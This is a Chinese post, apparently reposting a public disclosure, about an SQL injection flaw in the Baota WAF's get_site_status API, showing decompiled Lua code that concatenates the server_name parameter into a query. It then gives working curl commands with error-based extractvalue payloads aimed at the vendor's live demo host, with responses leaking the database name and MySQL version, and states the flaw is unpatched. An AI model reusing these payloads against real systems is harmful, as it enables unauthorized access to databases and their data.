宝塔waf作为一个防sql注入工具,居然本身也有SQL注入漏洞?
并且在9小时前被发布到V2EX,
帖子直达:[https://www.v2ex.com/t/1015934](https://www.v2ex.com/t/1015934)
请看这段代码
1. get\_site\_status = function ()
2. if not ngx.ctx.get\_uri\_args.server\_name then
3. return Public.get\_return\_state(false, "参数错误")
4. end
5.
6. ... 此处省略若干代码
7.
8. slot7, slot8, slot9, slot10 = slot4.query(slot4, \[\[
9. SELECT
10. SUM(request) as req,
11. SUM(err\_40x) as err\_40x,
12. SUM(err\_500) as err\_500,
13. SUM(err\_502) as err\_502,
14. SUM(err\_503) as err\_503,
15. SUM(err\_504) as err\_504,
16. SUM(err\_499) as err\_499,
17. SUM(send\_bytes) as send\_bytes,
18. SUM(receive\_bytes) as recv\_bytes,
19. SUM(pc\_count) as pc\_count,
20. SUM(mobile\_count) as mobile\_count,
21. SUM(spider\_baidu) as spider\_baidu,
22. SUM(spider\_google) as spider\_google,
23. SUM(spider\_bing) as spider\_bing,
24. SUM(spider\_360) as spider\_360,
25. SUM(spider\_sogou) as spider\_sogou,
26. SUM(spider\_other) as spider\_other,
27. SUM(ip\_count) as ip\_count,
28. SUM(pv\_count) as pv\_count,
29. SUM(uv\_count) as uv\_count
30. FROM \`request\_total\` WHERE \`server\_name\`='\]\] .. slot1 .. "' AND \`date\`='" .. os.date("%Y-%m-%d") .. "'")
31.
32. ... 此处省略若干代码
33.
34. return Public.get\_return\_state(true, slot6)
35. end
_复制代码_
这段代码位于 /cloud\_waf/nginx/conf.d/waf/public/waf\_route.lua 文件中,源文件是 luajit 编译后的内容,反编译一下即可看到源码
这段逻辑就在上文提到的 get\_site\_status API 中,slot1 变量就是 server\_name 参数。原理很简单,server\_name 参数没有做任何校验就直接带入了 SQL 查询。
宝塔官网还没有修复这个问题,还是拿宝塔官网为例,试试以下命令:
1. curl "http://btwaf-demo.bt.cn/get\_site\_status?server\_name='-extractvalue(1,concat(0x5c,database()))-'" -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
_复制代码_
响应如下
1. {"status":false,"msg":"数据查询失败: XPATH syntax error: '\\\\btwaf': 1105: HY000."}
_复制代码_
从响应来看已经注入成功,通过\]
继续执行以下命令:
1. curl "http://btwaf-demo.bt.cn/get\_site\_status?server\_name='-extractvalue(1,concat(0x5c,version()))-'" -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
_复制代码_
响应如下
1. {"status":false,"msg":"数据查询失败: XPATH syntax error: '\\\\8.1.0': 1105: HY000."}
_复制代码_
从响应来看,mysql 版本是 8.1.0
在继续执行以下命令
1. curl "http://btwaf-demo.bt.cn/get\_site\_status?server\_name='-extractvalue(1,concat(0x5c,(select'hello,world')))-'" -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
_复制代码_
响应如下
1. {"status":false,"msg":"数据查询失败: XPATH syntax error: '\\\\hello,world': 1105: HY000."}
_复制代码_
看起来 select 'hello,world' 也执行成功了,到此为止,基本可以执行任意命令。
暂无评论